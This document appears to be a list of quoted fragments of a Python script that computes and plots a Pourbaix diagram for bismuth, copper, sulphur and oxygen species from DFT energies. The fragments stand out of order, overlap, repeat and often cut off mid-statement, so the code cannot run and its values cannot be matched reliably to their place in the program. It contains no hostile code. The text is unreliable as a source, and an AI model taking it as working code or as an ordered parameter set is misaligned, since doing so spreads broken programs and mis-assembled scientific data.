"species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO",
"0, 2]=-1 for k in range(0, len(species)): for m in range(0, len(species)): for",
"############################################################################### ############################################################################### ############################################################################### ############### Populate the species matrix ################################ ############################################################################### species=np.zeros((65,8)) ######## Formation",
"==0) or \\ (species[k, 3]==0 and species[p, 3] ==0)): if((species[k, 4]==0 and species[m,",
"dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361",
"species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0",
"the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in range(3,6): if(species[s,t]>1):",
"numpy import asarray from numpy import save from numpy import load #Created by",
"-31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508",
"species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6",
"species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0",
"species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0",
"dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############## Aqueous Ion Free Energies of Formation",
"at least one multi-element species in this combination if(flag==1): #test each linear combination",
"species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus",
"species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1",
"muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange]",
"range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1])",
"dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ###############################################################################",
"species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4",
"numpy as np import matplotlib.pyplot as plt import random #For saving/importing data from",
"dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3)",
"# The first 4 indexes are the materials stored, the next three are",
"linear combination of the elements that will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\",
"\\ (species[m, 3]==0 and species[p, 3] ==0) or \\ (species[k, 3]==0 and species[p,",
"################################################################################ ############# CONVERT from eV to kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F;",
"species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0",
"dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2);",
"CONVERT from eV to kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F;",
"species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0",
"species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S",
"and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found",
"= [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i",
"species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0",
"range(0, len(species)): for p in range(0, len(species)): #Check to make sure each element",
"species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0",
"reactions in aqueous conditions #find out how much detail you want in your",
"combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1]",
"as long as there are specicies considered #populate with smaller values that will",
"dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F;",
"through all species, commpare all pairs for k in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]);",
"#####Plot H2O and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in range(0, pHrange):",
"dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F;",
"dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F;",
"-1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601",
"Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH",
"species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO",
"species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4",
"p in range(0, len(species)): #Check to make sure each element is in this",
"-(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ##############",
"species[64,7]=0 #Function to determine species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot",
"(Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7)",
"#Free Energies of Formation in eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378",
"species in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8,",
"save from numpy import load #Created by <NAME>, 2018-2020 #Contributions by <NAME> #For",
"species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1",
"#test each linear combination for h in range(1, 20): for i in range(1,",
"7, 2]=species[p,6] #Percent of each in species in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8,",
"species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3",
"-4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ###############################################################################",
"species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS",
"species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1",
"species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0",
"#Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0",
"species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0",
"Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the formation energies ############################ ############################################################################### #Free Energies of",
"combos[combo_num, 0, 2]=-1 for k in range(0, len(species)): for m in range(0, len(species)):",
"and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1",
"#If there is at least one multi-element species in this combination if(flag==1): #test",
"############################################################################### #Electronic Energies in eV/f.u. #PBEsol with SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5=",
"species in array t=1 a = np.array([[species[k, 3],species[m, 3], species[p,3]], \\ [species[k, 4],species[m,",
"flag=1 if((species[k, 3]==0 and species[m, 3] ==0) or \\ (species[m, 3]==0 and species[p,",
"species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ########### Number of Bismuths Bi ############################################# #Copper species[0,4]=0",
"[flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in",
"1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3,",
"number pH=lowpH+(i*pHcount); for j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through",
"-6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################ ############# CONVERT from eV",
"ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH')",
"combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of species combinations is '+ str(combo_num)+'.\\n') ############################################################################### ###############################################################################",
"dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3=",
"#Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0",
"##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species dGf_Cu1=",
"combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number Bismuth combos[combo_num, 5,",
"#print('Error: Species '+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0 #If there is at",
"dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986",
"species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0",
"out how much detail you want in your graph #n=input(\"Enter the mesh grid",
"Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate",
"to kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2=",
"dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F;",
"current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in the grid. Calculate for",
"species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0",
"random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1));",
"0, 1]=m combos[combo_num, 0, 2]=p #Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num,",
"############################################################################### ###### Vibrational Energy ##################################################### ############################################################################### #Vibrational Energies in eV/f.u. #From PBEsol Phonon",
"dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664",
"#break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.',",
"\\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h f[1]=i f[2]=j #Ending parameters,",
"t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1]",
"#BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1",
"dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################ ############# CONVERT from",
"species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1",
"range(0, len(species)): for m in range(0, len(species)): for p in range(0, len(species)): #Check",
"= 1.5; #V Urange = Uhigh-Ulow; #V Ucount = Urange/n; #used to iterate",
"############################################################################### ############################################################################### ############## Aqueous Ion Free Energies of Formation ######################### #Free Energies of",
"= random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and H2 lines################################## muH=np.zeros((pHrange+1));",
"for j in range(1,n): U=Ulow+(j*Ucount); #If drawing lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.',",
"#If drawing lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.',",
"Plot with Lines ############################################ ############################################################################### flag = np.zeros((50,6)) # The first 4 indexes",
"num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot Open File') ############################################################################### #### Determine which species are",
"range(1, 20): for j in range(1, 20): #Is there a linear combination of",
"species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus",
"(species[k, 4]==0 and species[p, 4] ==0)): if((species[k, 5]==0 and species[m, 5] ==0) or",
"species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen H+ Count #################################################### #Cu species[0,2]=0 species[1,2]=2",
"species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2",
"range(0, n+1): pH=lowpH+i*pHcount; for j in range(0,n+1): U=Ulow+(Ucount*j); l=0 for k in range(0,",
"switch the value of t back to no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]]))",
"#print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species Number combos[combo_num, 0, 0]=k combos[combo_num, 0, 1]=m",
"number of species combinations is '+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ############################################################################### ########### Chemical",
"Count #################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2",
"dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F;",
"0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578",
"species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2",
"Electron Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2",
"species[12,3]=3 #Bismuth and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0",
